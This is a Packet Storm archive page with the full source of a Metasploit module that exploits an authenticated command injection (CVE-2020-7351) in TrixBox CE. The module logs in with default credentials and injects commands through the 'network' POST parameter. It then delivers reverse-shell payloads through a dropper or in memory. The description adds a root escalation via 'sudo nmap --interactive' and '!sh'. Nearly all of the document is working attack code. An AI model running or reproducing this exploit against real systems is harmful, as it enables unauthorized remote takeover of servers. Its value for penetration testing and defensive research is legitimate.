exploit the possibilities

TrixBox CE 2.8.0.4 Command Execution

TrixBox CE 2.8.0.4 Command Execution
Posted May 5, 2020
Authored by Anastasios Stasinopoulos, Obrela Labs Team | Site metasploit.com

This Metasploit module exploits an authenticated OS command injection vulnerability found in Trixbox CE versions 1.2.0 through 2.8.0.4 inclusive in the network POST parameter of the /maint/modules/endpointcfg/endpoint_devicemap.php page. Successful exploitation allows for arbitrary command execution on the underlying operating system as the asterisk user. Users can easily elevate their privileges to the root user however by executing sudo nmap --interactive followed by !sh from within nmap.

tags | exploit, arbitrary, root, php
advisories | CVE-2020-7351
MD5 | fd5084cbbf34c562fd7812f4604bd3eb

TrixBox CE 2.8.0.4 Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TrixBox CE endpoint_devicemap.php Authenticated Command Execution',
'Description' => %q{
This module exploits an authenticated OS command injection
vulnerability found in Trixbox CE version 1.2.0 to 2.8.0.4
inclusive in the "network" POST parameter of the
"/maint/modules/endpointcfg/endpoint_devicemap.php" page.
Successful exploitation allows for arbitrary command execution
on the underlying operating system as the "asterisk" user.
Users can easily elevate their privileges to the "root" user
however by executing "sudo nmap --interactive" followed by "!sh"
from within nmap.
},
'Author' => [
# Obrela Labs Team - Discovery and Metasploit module
'Anastasios Stasinopoulos (@ancst)'
],
'References' => [
['CVE', '2020-7351'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/13353'] # First ref is this module
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Payload' => { 'BadChars' => "\x00" },
'DisclosureDate' => 'Apr 28 2020',
'Targets' =>
[
[
'Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
],
[
'Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_memory
]
],
'Privileged' => false,
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('HttpUsername', [ true, 'User to login with', 'maint']),
OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),
]
)
end

def user
datastore['HttpUsername']
end

def pass
datastore['HttpPassword']
end

def get_target(res)
version = res.body.scan(/v(\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
if version.nil?
version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
if version.nil?
print_error("#{peer} - Unable to grab version of Trixbox CE installed on target!")
return nil
end
end
print_good("#{peer} - Trixbox CE v#{version} identified.")
if Gem::Version.new(version).between?(Gem::Version.new('2.6.0.0'), Gem::Version.new('2.8.0.4'))
@uri = normalize_uri(target_uri.path, '/maint/modules/endpointcfg/endpoint_devicemap.php')
elsif Gem::Version.new(version).between?(Gem::Version.new('2.0.0.0'), Gem::Version.new('2.4.9.9'))
@uri = normalize_uri(target_uri.path, '/maint/modules/11_endpointcfg/endpoint_devicemap.php')
elsif Gem::Version.new(version).between?(Gem::Version.new('1.2.0.0'), Gem::Version.new('1.9.9.9'))
@uri = normalize_uri(target_uri.path, '/maint/endpoint_devicemap.php')
else
return nil
end
return version
end

def login(user, pass, _opts = {})
uri = normalize_uri(target_uri.path, '/maint/')
print_status("#{peer} - Authenticating using \"#{user}:#{pass}\" credentials...")
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
unless res
# We return nil here, as callers should handle this case
# specifically with their own unique error message.
return nil
end

if res.code == 200
print_good("#{peer} - Authenticated successfully.")
elsif res.code == 401
print_error("#{peer} - Authentication failed.")
else
print_error("#{peer} - The host responded with an unexpected status code: #{res.code}.")
end
return res
rescue ::Rex::ConnectionError
print_error('Caught a Rex::ConnectionError in login() method. Connection failed.')
return nil
end

def execute_command(cmd, _opts = {})
send_request_cgi({
'uri' => @uri,
'method' => 'POST',
'authorization' => basic_auth(user, pass),
'vars_post' => {
'network' => ";$(#{cmd})"
}
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Connection failed.')
end

def check
res = login(user, pass)
unless res
print_error("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")
return CheckCode::Detected
end
if res.code == 200
version = get_target(res)
if version.nil?
# We don't print out an error message here as returning this will
# automatically cause Metasploit to print out an appropriate error message.
return CheckCode::Safe
end

delay = rand(7...10)
cmd = "sleep #{delay}"
print_status("#{peer} - Verifying remote code execution by attempting to execute '#{cmd}'.")
t1 = Time.now.to_i
res = execute_command(cmd)
t2 = Time.now.to_i
unless res
print_error("#{peer} - Connection failed whilst trying to perform the command injection.")
return CheckCode::Detected
end
diff = t2 - t1
if diff >= delay
print_good("#{peer} - Response received after #{diff} seconds.")
return CheckCode::Vulnerable
else
print_error("#{peer} - Response wasn't received within the expected period of time.")
return CheckCode::Safe
end
end
rescue ::Rex::ConnectionError
print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")
return CheckCode::Unknown
end

def exploit
res = login(user, pass)
unless res
print_error("No response was received from #{peer} whilst in exploit(), check it is online and the target port is open!")
end
if res.code == 200
version = get_target(res)
if version.nil?
print_error("#{peer} - The target is not vulnerable.")
return false
end
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 130_000)
end
end
rescue ::Rex::ConnectionError
print_error('Rex::ConnectionError caught in check(), could not connect to the target.')
return false
end
end
Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    1 Files
  • 9
    Aug 9th
    2 Files
  • 10
    Aug 10th
    27 Files
  • 11
    Aug 11th
    11 Files
  • 12
    Aug 12th
    11 Files
  • 13
    Aug 13th
    17 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close